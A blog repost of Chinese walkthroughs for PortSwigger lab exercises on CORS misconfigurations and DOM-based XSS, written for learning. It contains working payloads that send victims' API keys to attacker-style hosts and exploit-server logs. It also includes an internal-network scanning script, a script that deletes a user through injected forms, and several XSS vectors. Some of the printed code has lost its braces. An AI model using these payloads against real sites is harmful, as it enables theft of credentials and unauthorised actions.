BP靶场portswigger-客户端13跨来源资源共享(CORS)-4个实验(全)
Posted 黑色地带(崛起)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BP靶场portswigger-客户端13跨来源资源共享(CORS)-4个实验(全)相关的知识,希望对你有一定的参考价值。
前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书,华为云、阿里云、51CTO优质博主等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)跨源资源共享(CORS)(√)
(2)服务器生成ACAO头从客户端指定的原始标头、解析原始标头时出错(√)
(3)白名单中的空原点值、通过 CORS信任关系利用XSS(√)
(4)使用配置不当的CORS中断TLS(√)
(5)没有凭据的内部网和CORS(√)
目录
一、跨源资源共享(CORS)
1、简述:
跨源资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性( 标准操作规程).但如果网站的CORS策略配置和实施不当,也可能会导致跨域攻击。CORS无法抵御跨源攻击,如跨站点请求伪造 (CSRF)
2、同源政策
同源策略是一种限制性的跨源规范,它限制网站与源域之外的资源交互的能力。同源策略以应对潜在的恶意跨域交互,如一个网站窃取另一个网站的私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。
3、放宽同源政策
1、同源政策的限制性很强,因此设计了各种方法来规避这些限制。许多网站与子域或第三方网站的交互方式需要完全跨源访问。使用跨来源资源共享(CORS)可以有控制地放宽同源政策。
2、跨源资源共享协议使用一组HTTP头,这些头定义了受信任的Web源和相关属性,例如是否允许经过身份验证的访问。这些信息在浏览器和它试图访问的跨源网站之间的头交换中组合。
二、CORS配置问题导致的漏洞
1、服务器生成ACAO头从客户端指定的原始标头
1、一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要不断的努力,任何错误都有可能破坏功能。因此,一些应用程序采取了有效地允许来自任何其他域的访问的简单途径。
2、一种方法是从请求中阅读Origin头,并包含一个响应头,声明请求源是允许的
。例如,考虑接收以下请求的应用程序: GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=... 响应如下: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true ... 这些报头声明允许从请求域(malicious-website.com)进行访问,并且跨源请求可以包括Cookie(Access-Control-Allow-Credentials:true),因此将在会话中处理。
3、由于应用程序在Access-Control-Allow-Origin标头中反映任意来源,这意味着任何域都可以访问易受攻击域中的资源。如果响应包含任何敏感信息(如API密钥或CSRF令牌),可以通过在网站上放置以下脚本来检索此信息:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() location='//malicious-website.com/log?key='+this.responseText; ;
4、涉及实验:
实验1:具有基本原点反射的CORS脆弱性
实验1:具有基本原点反射的CORS脆弱性
信息:
1、此网站具有不安全的CORS配置,因为它信任所有来源。
2、解决实验:编制一些javascript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交管理员的API密钥
3、已有账号:wiener:peter
part1:
登陆账号,查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS
将请求发送到Burp Repeater,并使用添加的标题重新提交:
Origin: https://example.com
观察到原点反映在Access-Control-Allow-Origin标头中
part2:
利用漏洞
在浏览器中,转到漏洞利用服务器并输入以下html(将YOUR-LAB-ID替换为您的唯一实验室URL)
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() location='/log?key='+this.responseText; ; </script> 我的是: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aed006704c97c69c0aca55c009300fc.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() location='/log?key='+this.responseText; ; </script>
单击查看漏洞利用。观察漏洞利用是否有效-您已登录到日志页面,并且您的API密钥位于URL中(点击view即可自测poc,此处不展示了)
返回到利用漏洞攻击服务器,然后单击Deliver exploit to victium(将利用漏洞攻击发送给受害者)单击“Access log(访问日志)”
检索并提交受害者的API密钥提交
%20%224G8BvfHagAHOQk1BS1YetCZzQQu2zK2L%22 4G8BvfHagAHOQk1BS1YetCZzQQu2zK2L (引号我去掉了)
并进行URL解码
完成实验
2、解析原始标头时出错
1、一些支持从多个来源访问的应用程序通过使用允许来源的白名单来实现这一点。当接收到CORS请求时,将提供的来源与白名单进行比较。如果来源出现在白名单上,则它将反映在Access-Control-Allow-Origin报头中,以便授予访问权限。
如应用程序接收正常请求,如: GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com 应用产品将对照其允许的来源列表检查提供的来源,如果来源在列表中,则按如下方式反映来源: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
2、实施CORS原点白名单时经常会出现错误。一些组织决定允许从其所有子域(包括未来尚不存在的子域)进行访问。并且一些应用程序允许从各种其他组织的域(包括它们的子域)进行访问。这些规则通常通过匹配URL前缀或后缀,或使用正则表达式来实现。实现中的任何错误都可能导致访问权限被授予非预期的外部域。
1、假设某个应用程序赠款对以下列字符结尾的所有域的访问权限: normal-website.com 攻击者可能能够通过注册以下域获得访问权限: hackersnormal-website.com 2、假设应用程序赠款对以开头的所有域的访问权限 normal-website.com 攻击者可能能够使用以下域获得访问权限: normal-website.com.evil-user.net
3、白名单中的空原点值
1、原始标头的规范支持值null。
浏览器可能会发送该值null在各种异常情况下的原始标题中: 跨源重定向。 来自序列化数据的请求。 使用 file:协议请求。 沙盒跨来源请求。
某些应用程序可能会将null支持应用程序的本地开发。
例如,假设应用程序接收到以下跨来源请求: GET /sensitive-victim-data Host: vulnerable-website.com Origin: null 并且服务器响应如下: HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧生成包含该值的跨源请求null在原始标题中。这将满足白名单,从而实现跨域访问。
例如,这可以使用沙箱来完成 内嵌框架跨来源申请表格: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() location='malicious-website.com/log?key='+this.responseText; ; </script>"></iframe>
2、涉及实验:
实验2:具有可信空源的CORS漏洞
实验2:具有可信空源的CORS漏洞
信息:
1、此网站具有不安全的CORS配置,因为它信任"空"源。
2、解决实验:编制JavaScript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api Key
3、已有账号:wiener:peter
part1:
登陆账号,单击"我的帐户",查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS
将请求发送到Burp Repeater,并使用添加的标题重新提交
Origin: null
观察null来源是否反映在Access-Control-Allow-Origin标题中
part2:
漏洞利用
在浏览器中,转到漏洞利用服务器并输入以下HTML(将YOUR-LAB-ID替换为实验室URL的URL,将YOUR-EXPLOIT-SERVER-ID替换为漏洞利用服务器ID)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText); ; </script>"></iframe> 我的是: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aba007e04d40bebc0cc042b007400f9.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() location='https://exploit-0a2b00ef049c0b89c073031b01250021.exploit-server.net/log?key='+encodeURIComponent(this.responseText); ; </script>"></iframe>
注意iframe沙箱的使用,因为这会生成一个空的源请求。
单击"查看漏洞利用"(view)。观察漏洞利用是否有效-已登录到日志页面,API密钥位于URL中(测试poc的可行性,就不在这测了,直接到发给受害者)
返回到利用漏洞攻击服务器并单击"将利用漏洞攻击发送给受害者"。单击"Access log"(访问日志)
解码
apikey%22%3A%20%226dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ%22%2C%0A%20%20%22 apikey": "6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ"
检索提交api Key完成实验
6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ
4、通过 CORS信任关系利用XSS
1、即使"正确"配置的CORS也会在两个源之间建立信任关系。如果网站信任易受跨站点脚本攻击的源( XSS语言),则攻击者可以利用XSS注入一些JavaScript,该JavaScript使用CORS从信任易受攻击应用程序的站点检索敏感信息。
如以下请求: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=... 如果服务器响应为: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true 然后,在www.example.com上发现XSS漏洞的攻击者subdomain.vulnerable-website.com可以使用如下URL检索API密钥: https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
5、使用配置不当的CORS中断TLS
1、假设严格使用HTTPS的应用程序也将使用纯HTTP的受信任子域列入白名单。
例如,当应用程序接收到以下请求时: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=... 应用程序响应如下: HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
在这种情况下,能够拦截受害用户通信量的攻击者可以利用CORS配置危害受害用户与应用程序的交互。
此攻击涉及以下步骤: 1、受害者用户发出任何普通HTTP请求。 2、攻击者注入重定向到: http://trusted-subdomain.vulnerable-website.com 受害者的浏览器会跟随重定向。 3、攻击者拦截普通HTTP请求,并将包含CORS请求的欺骗响应返回到: https://vulnerable-website.com 4、受害者的浏览器发出CORS请求,包括来源: http://trusted-subdomain.vulnerable-website.com 应用程序允许该请求,因为这是 白名单 起源。请求的敏感数据在响应中返回。 攻击者的欺骗页面可以读取敏感数据,并将其传输到攻击者控制下的任何域。
即使易受攻击的网站在使用HTTPS方面非常健壮,没有HTTP端点并且所有Cookie都标记为安全,此攻击也会有效。
2、涉及实验:
实验3:受信任的不安全协议的CORS漏洞
实验3:受信任的不安全协议的CORS漏洞
信息:
1、此网站具有不安全的CORS配置,因为它信任所有子域,而不管协议如何。
2、解决实验:编制JavaScript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api key
3、已有账号:wiener:peter
part1:
登陆账号,查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS。
将请求发送到Burp Repeater,并使用添加的标题Origin重新提交:
Origin:http://subdomain.lab-id (lab-id 是实验室域名) 我的是: Origin:http://subdomain.0a4700a903395d98c0e42285006b0014.web-security-academy.net
观察来源是否反映在Access-Control-Allow-Origin标头中,确认CORS配置是否允许从任意子域(HTTPS和HTTP)进行访问
part2:
组合利用
打开一个产品页面,单击Check stock并观察它是使用一个子域上的HTTP URL加载的
注意到productID参数易受XSS攻击
在浏览器中,转到漏洞利用服务器并输入以下HTML,将YOUR-LAB-ID替换为您的唯一实验室URL,将YOUR-EXPLOIT-SERVER-ID替换为您的漏洞利用服务器ID:
<script> document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; ;%3c/script>&storeId=1" </script> 我的是: <script> document.location="http://stock.0a4700a903395d98c0e42285006b0014.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a4700a903395d98c0e42285006b0014.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() location='https://exploit-0aef008603225dd5c0fe210801970018.exploit-server.net/log?key='%2bthis.responseText; ;%3c/script>&storeId=1" </script>
单击查看漏洞利用。观察漏洞利用是否有效(view),已登录到日志页面,API密钥位于URL中
返回到利用漏洞攻击服务器,然后单击Deliver exploit to victium(将利用漏洞攻击发送给受害者)
单击“Access log(访问日志)”
检索api key
apikey%22:%20%22LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz%22
进行解码
apikey": "LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz"
提交,完成实验
LPfbAvOVfaP3D2Wx04Zp18UOWFRuilcz
6、没有凭据的内部网和CORS
1、大多数CORS攻击依赖于响应报头的存在:
Access-Control-Allow-Credentials: true
如果没有该标头,受害用户的浏览器将拒绝发送他们的cookie,这意味着攻击者只能访问未经身份验证的内容,他们可以通过直接浏览目标网站轻松访问这些内容。
2、但有一种常见的情况是攻击者无法直接访问网站:当它是组织内部网的一部分,并且位于私有IP地址空间中时。内部网站的安全标准通常低于外部网站,这使得攻击者能够找到漏洞并获得进一步的访问权限。
例如,专用网络内的跨来源请求可以如下: GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com 并且服务器响应如下: HTTP/1.1 200 OK Access-Control-Allow-Origin: *
3、应用程序服务器信任来自任何来源的资源请求,而无需凭据。如果私有IP地址空间内的用户访问公共Internet,则可以从外部站点执行基于CORS的攻击,该外部站点使用受害者的浏览器作为访问内部网资源的代理。
4、涉及实验:
实验4:CORS漏洞与内部网络枢轴攻击
实验4:CORS漏洞与内部网络枢轴攻击
信息:
1、此网站具有不安全的CORS配置,因为它信任所有内部网络来源。
2、完成实验:编制JavaScript来定位本地网络(192.168.0.0/24,端口8080)上的端点,然后使用该端点来识别和创建基于CORS的攻击以删除用户。删除用户carlos
part1:
需要扫描本地网络以查找端点。将$collaboratorPayload替换为Collaborator有效负载或漏洞利用服务器URL
我的漏洞利用服务器 http://exploit-0a000082039e8219c2f833a701b700cb.exploit-server.net/
<script> var q = [], collaboratorURL = 'http://$collaboratorPayload'; for(i=1;i<=255;i++) q.push(function(url) return function(wait) fetchUrl(url, wait); ('http://192.168.0.'+i+':8080')); for(i=1;i<=20;i++) if(q.length)q.shift()(i*100); function fetchUrl(url, wait) var controller = new AbortController(), signal = controller.signal; fetch(url, signal).then(r => r.text().then(text => location = collaboratorURL + '?ip='+url.replace(/^http:\\/\\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); )) .catch(e => if(q.length) q.shift()(wait); ); setTimeout(x => controller.abort(); if(q.length) q.shift()(wait); , wait); </script>
在漏洞利用服务器中输入以下代码。单击存储,然后单击“将漏洞利用发送给受害者”。
检查日志或Collaborator交互组件,并查看发送给它的代码参数
192.168.0.175:8080
part2:
重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为从协作者交互中检索到的IP地址和端口号。不要忘记添加Collaborator有效负载或再次利用服务器URL。更新并提供漏洞利用。
<script> function xss(url, text, vector) location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; function fetchUrl(url, collaboratorURL) fetch(url).then(r => r.text().then(text => xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>'); )) fetchUrl("http://$ip", "http://$collaboratorPayload"); </script>
现在我们将探测用户名字段中的XSS漏洞。
检索URL中具有foundXSS=1的Collaborator交互;或者在日志中看到foundXSS=1
part3:
重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为与步骤2中相同的IP地址和端口号,再次添加Collaborator有效负载或漏洞利用服务器。更新并提供漏洞利用
<script> function xss(url, text, vector) location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; function fetchUrl(url, collaboratorURL) fetch(url).then(r=>r.text().then(text=> xss(url, text, '"><iframe src=/admin onload="new Image().src=\\''+collaboratorURL+'?code=\\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">'); )) fetchUrl("http://$ip", "http://$collaboratorPayload"); </script>
Collaborator交互或利用服务器日志会提供管理页面的源代码
part4:
检索源代码,会注意到有一个允许删除用户的表单。重新在利用漏洞攻击服务器中输入以下代码。将$ip替换为相同的IP地址和端口号。
<script> function xss(url, text, vector) location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; function fetchUrl(url) fetch(url).then(r=>r.text().then(text=> xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\\'carlos\\',f.submit()">'); )) fetchUrl("http://$ip"); </script>
代码通过注入一个指向/admin页面的iframe提交表单以删除carlos
BP靶场portswigger-客户端11跨站点脚本XSS-10个实验(下)
前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书,华为云、阿里云、51CTO优质博主等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)利用不同的源和汇开发DOM XSS(√)
(2)第三方依赖项中的源和汇(√)
(3)DOM XSS结合反射和存储数据(√)
(4)会导致DOM-XSS漏洞的接收器(√)
(5)CSP内容安全策略(√)
目录
实验3:DOM XSS输入 document.write 汇使用源 location.search
实验10:DOM XSS输入 document.write 汇使用源 location.search 在选择元素内
实验4:DOM XSS输入 innerHTML 汇使用源 location.search
实验5:jQuery锚中的DOM XSS href 属性接收器使用 location.search 源
实验6:jQuery选择器接收器中使用hashchange事件的DOM XSS
实验11:带尖括号和双引号的AngularJS表达式中的DOM XSS HTML编码
实验29:反射的XSS受非常严格的CSP保护,带有悬空标记攻击
上文:
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)https://blog.csdn.net/qq_53079406/article/details/128649361
一、存储的XSS
1、简述:
存储的跨站点脚本(也称为二阶或持久性XSS)出现在应用程序从不受信任的源接收数据并以不安全的方式将该数据包含在其随后的HTTP响应中时
1、示例:网站允许用户提交对博客文章的评论,这些评论将显示给其他用户。用户使用HTTP请求提交注释,如下: POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Length: 100 postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net 2、提交此评论后,访问该博客帖子的任何用户都将在应用程序的响应中收到以下内容: <p>This post was extremely helpful.</p> 3、假设应用程序不对数据执行任何其他处理,攻击者可以提交如下恶意评论: <script>/* Bad stuff here... */</script> 4、在攻击者的请求中,此注释将被URL编码为: comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E 5、访问博客帖子的任何用户都将在应用程序的响应中收到以下内容: <p><script>/* Bad stuff here... */</script></p> 6、攻击者提供的脚本将在受害用户的浏览器中执行,该浏览器位于受害用户与应用程序会话的上下文中。
涉及实验:
反射XSS、存储XSS在上文中都已解决
二、基于DOM的XSS
1、简述:
1、当JavaScript从攻击者可控制的源(如URL)获取数据并将其传递到支持动态代码执行的接收器,如 eval() 或 innerHTML。这使得攻击者能够执行恶意JavaScript,能劫持其他用户的帐户
2、要进行基于DOM的XSS攻击,需要将数据放入源中,以便将其传播到接收器并导致执行任意JavaScript
3、DOM XSS最常见的源是URL,通常使用 window.location对象。攻击者可以构建一个链接,通过URL的查询字符串和片段部分中的有效负载将受害者发送到易受攻击的页面。在某些情况下,例如当目标是404页面或运行PHP的网站时,也可以将有效负载放置在路径中。
4、测试
大多数DOM XSS漏洞可以使用Burp Suite的 Web漏洞扫描程序。要手动测试基于DOM的跨站点脚本,通常需要使用带有开发人员工具的浏览器,如Chrome。需要依次处理每个可用的源,并单独测试每个源
5、测试HTML接收器
(1)若要在HTML接收器中测试DOMXSS,将随机字母数字字符串放入源(如 location.search ),然后使用开发人员工具检查HTML并找到字符串出现的位置。浏览器的"View source"选项不适用于DOM XSS测试,因为它没有考虑JavaScript在HTML中执行的更改。在Chrome的开发者工具中,您可以使用
Control+F
(或Command+F
在MacOS上)在DOM中搜索字符串(2)对于字符串出现在DOM中的每个位置,都需要标识上下文。基于这个上下文,需要细化输入以查看它是如何处理的。如字符串出现在双引号属性中,则尝试在字符串中插入双引号,以查看是否可以跳出该属性
(3)浏览器在URL编码方面的行为不同,Chrome、Firefox和Safari将对location.search和location.hash进行URL编码,而IE11和Microsoft Edge(Chromium之前)不会对这些源进行URL编码。如果数据在处理之前进行了URL编码,那么XSS攻击就不太可能起作用
6、测试JavaScript执行接收器
(1)测试基于DOM的XSS的JavaScript执行接收器有点困难。有了这些接收器,输入不一定出现在DOM中的任何地方,因此无法搜索它,而是需要使用JavaScript调试器来确定是否以及如何将输入发送到接收器
(2)对于每个潜在的源(例如
location
),首先需要在页面的JavaScript代码中查找引用源的实例。在Chrome的开发者工具中,可以使用Control+Shift+F(或Mac OS上的Command+Alt+F)来搜索页面的所有JavaScript代码以查找源代码。(3)找到读取源代码的位置,就可以使用JavaScript调试器添加断点,并跟踪源代码值的使用方式。可能会发现源被赋给了其他变量。如果是这种情况,需要再次使用搜索函数来跟踪这些变量,并查看它们是否被传递到接收器。当发现接收器被分配了源自源的数据时,可以使用调试器检查值,方法是将鼠标悬停在变量上以显示其值,然后再将其发送到接收器。然后与HTML接收器一样,需要改进输入,看看是否能够成功地进行XSS攻击。
7、使用DOM Invader测试DOM XSS
在识别和利用DOMXSS可能是一个乏味的过程,通常需要手动浏览复杂的、小型化的JavaScript。但如果使用Burp的web vulnerability scanner,则可以利用其内置的DOM Invader扩展,完成许多繁重的工作
二、利用不同的源和汇开发DOM XSS
1、简述:
1、如果存在可执行路径,数据可以通过该路径从源传播到接收器,则网站容易受到基于DOM的跨站点脚本攻击。在实践中,不同的源和汇具有不同的属性和行为,这些属性和行为会影响可利用性,并决定需要哪些技术。此外,网站的脚本可能会执行验证或其他数据处理,在尝试利用漏洞时必须适应这些处理。与基于DOM的漏洞相关的漏洞有很多。
document .write 接收器与脚本元素一起工作,因此可以使用简单的有效负载,如下所示: document.write('... <script>alert(document.domain)</script> ...');
在某些情况下,写入document.write的内容包含一些需要在利用漏洞时考虑的周围环境。如在使用JavaScript有效负载之前,可能需要关闭一些现有元素。
————
涉及实验:
实验3:DOM XSS输入 document.write 汇使用源 location.search
实验10:DOM XSS输入 document.write 汇使用源 location.search 在选择元素内
2、 该 innerHTML 接收器不接受 script 元素,也不会 svg onload事件触发。这意味着将需要使用替代元素,如img 或 iframe。事件处理程序,如onload 以及onerror可以与这些元件结合使用。例如:
element.innerHTML='... <img src=1 οnerrοr=alert(document.domain)> ...'————
涉及实验:
实验4:DOM XSS输入 innerHTML 汇使用源 location.search
实验3:DOM XSS输入 document.write 汇使用源 location.search
信息:
本实验在搜索查询跟踪功能中包含一个基于DOM的跨站点脚本漏洞。它使用JavaScript document.write函数,该函数将数据写入页面。document.write函数是使用www.example.com中的数据调用location.search,可以使用网站URL来控制这些数据
要完成本实验,请执行调用警报函数的跨站点脚本攻击。
part1:
在搜索框中输入随机字母数字字符串,右键单击并检查元素
观察随机字符串是否已放置在img src属性中
通过插入以下内容突破img属性:
"><svg onload=alert(1)>
完成实验
实验10:DOM XSS输入 document.write 汇使用源 location.search 在选择元素内
信息:
本实验包含股票检查器功能中基于DOM的跨站点脚本漏洞。使用JavaScript document.write函数,该函数将数据写入页面。document.write函数是使用www.example.com中的数据调用的,可以使用网站URL控制这些数据。location.search 可以通过网站来控制 URL.数据包含在select元素中。
完成实验:执行跨站点脚本攻击,该攻击会突破select元素并调用alert函数。
part1:
在产品页面上,注意危险的JavaScript从www.example.com源代码中提取storeId参数location.search。它使用document.write在select元素中为checker stock 功能创建一个新选项。
将storeId查询参数添加到URL,并输入随机字母数字字符串作为其值。请求此修改后的URL。
在浏览器中,随机字符串现在作为选项之一列在下拉列表中,且作为storeId参数的值已放置在select元素中
part2:
插入XSS
更改URL以在storeId参数中包含合适的XSS有效负载,如下所示:
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)> 也就是添加: "></select><img%20src=1%20onerror=alert(1)>
完成实验
实验4:DOM XSS输入 innerHTML 汇使用源 location.search
信息:
本实验在搜索博客功能中包含一个基于DOM的跨站点脚本漏洞。使用一个innerHTML赋值,该赋值使用location.search中的数据更改div元素的HTML内容。
完成实验:执行调用alert函数的跨站点脚本攻击。
part1:
在搜索框中输入以下内容,单击"搜索"
payload: <img src=1 onerror=alert(1)> 原理: src属性的值无效并引发错误。这将触发onerror事件处理程序,然后该处理程序调用alert()函数。因此只要用户的浏览器尝试加载包含恶意帖子的页面,就会执行有效负载
2、第三方依赖项中的源和汇
1、现代的web应用程序通常使用许多第三方库和框架来构建,这些库和框架通常为开发者提供附加的功能和能力。重要的是要记住,其中一些也是DOMXSS的潜在源和汇。
2、jQuery中的DOM XSS
如果正在使用jQuery之类的JavaScript库,可能改变页面上DOM元素的接收器。如jQuery的attr()函数可以更改DOM元素的属性。如果数据是从用户控制的源(如URL)读取的,然后传递给attr()函数,那么就有可能操纵发送的值以导致XSS。如有一些JavaScript,它使用来自URL的数据更改锚元素的href属性:
$(function() $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl')); );
可以通过修改URL来利用此漏洞,以便location.search源包含恶意JavaScript URL。在页面的JavaScript将此恶意URL应用到返回链接的href,点击返回链接将执行它:
?returnUrl=javascript:alert(document.domain)
涉及实验:
实验5:jQuery锚中的DOM XSS href 属性接收器使用 location.search 源
————
3、另一个需要注意的潜在接收器是jQuery的$()选择器函数,它可用于将恶意对象注入DOM。
jQuery曾经非常流行,典型的DOM XSS漏洞是由于网站将此选择器与location.hash源结合使用来生成动画或自动滚动到页面上的特定元素而导致的。此行为通常是使用易受攻击的hashchange事件处理程序实现的,如下所示: $(window).on('hashchange', function() var element = $(location.hash); element[0].scrollIntoView(); );
作为 hash 是用户可控的,攻击者可以利用它将XSS向量注入 $()选择器接收器。较新版本的jQuery修补了此特定漏洞,方法是在输入以散列字符( #)。但仍然可以在野外找到易受攻击的代码
要真正利用此典型漏洞,需要找到一种方法来触发hashchange没有用户交互的事件。最简单的方法之一是通过iframe: <iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
在此示例中,src属性指向哈希值为空的易受攻击的页面。当 iframe 被加载时,一个XSS向量被附加到散列中,从而触发hashchange事件(即使较新版本的jQuery也可能通过 $() 选择器接收器,前提是可以完全控制来自不需要 #前缀)
————涉及实验:
实验6:jQuery选择器接收器中使用hashchange事件的DOM XSS
4、DOM XSS输入 角度JS
如果使用AngularJS这样的框架,就有可能在没有尖括号或事件的情况下执行JavaScript。当站点使用 新应用程序属性,将由AngularJS处理。在这种情况下,AngularJS将执行双花括号内的JavaScript,这可以直接出现在HTML中或属性内
————
涉及实验:
实验11:带尖括号和双引号的AngularJS表达式中的DOM XSS HTML编码
实验5:jQuery锚中的DOM XSS href 属性接收器使用 location.search 源
信息:
本实验在提交反馈页中包含一个基于DOM的跨站点脚本漏洞,使用jQuery库的$selector函数查找锚元素,并使用location.search中的数据更改其href属性
解决实验:将“返回”链接设置为alert document. cookie
part1:
在Submit feedback页面上,此时的URL参数为returnPath/
将/后添加随机字母数字字符串
右键单击并检查该元素,观察到随机字符串已被放置在a href属性中
part2:
payload插入
将返回路径更改如下
javascript:alert(document.cookie)
实验6:jQuery选择器接收器中使用hashchange事件的DOM XSS
信息:
本实验的主页上存在一个基于DOM的跨站点脚本漏洞。它使用jQuery的$()选择器函数自动滚动到给定的帖子,其标题通过location.hash属性传递。
解决实验:向受害者发送一个利用漏洞攻击,在其浏览器中调用print()函数
part1:
请注意主页上使用Burp或浏览器的DevTools的易受攻击的代码。
从实验标题中,打开利用漏洞攻击服务器在正文部分中,添加以下恶意iframe:
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe> 我的是: <iframe src="https://0af900b803abb66cc0ec1d4400820051.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
存储利用漏洞攻击,然后单击View exploit(查看利用漏洞攻击)以确认调用了print()函数
返回漏洞攻击服务器,然后单击Deliver to victim(发送给受害者)完成实验
实验11:带尖括号和双引号的AngularJS表达式中的DOM XSS HTML编码
信息:
本实验在搜索功能的AngularJS表达式中包含一个基于DOM的跨站点脚本漏洞。
AngularJS是一个流行的JavaScript库,它扫描包含ng-app属性(也称为AngularJS指令)的HTML节点的内容。将指令添加到HTML代码中后,可以在双大括号内执行JavaScript表达式。此技术在编码尖括号时很有用。
完成实验:执行跨站点脚本攻击,该攻击执行AngularJS表达式并调用alert函数。
part1:
在搜索框中输入随机字母数字字符串
查看页面源代码,发现随机字符串包含在ng-app指令中
part2:
插入XSS
在搜索框中输入以下AngularJS表达式:
$on.constructor('alert(1)')()
完成实验
3、DOM XSS结合反射和存储数据
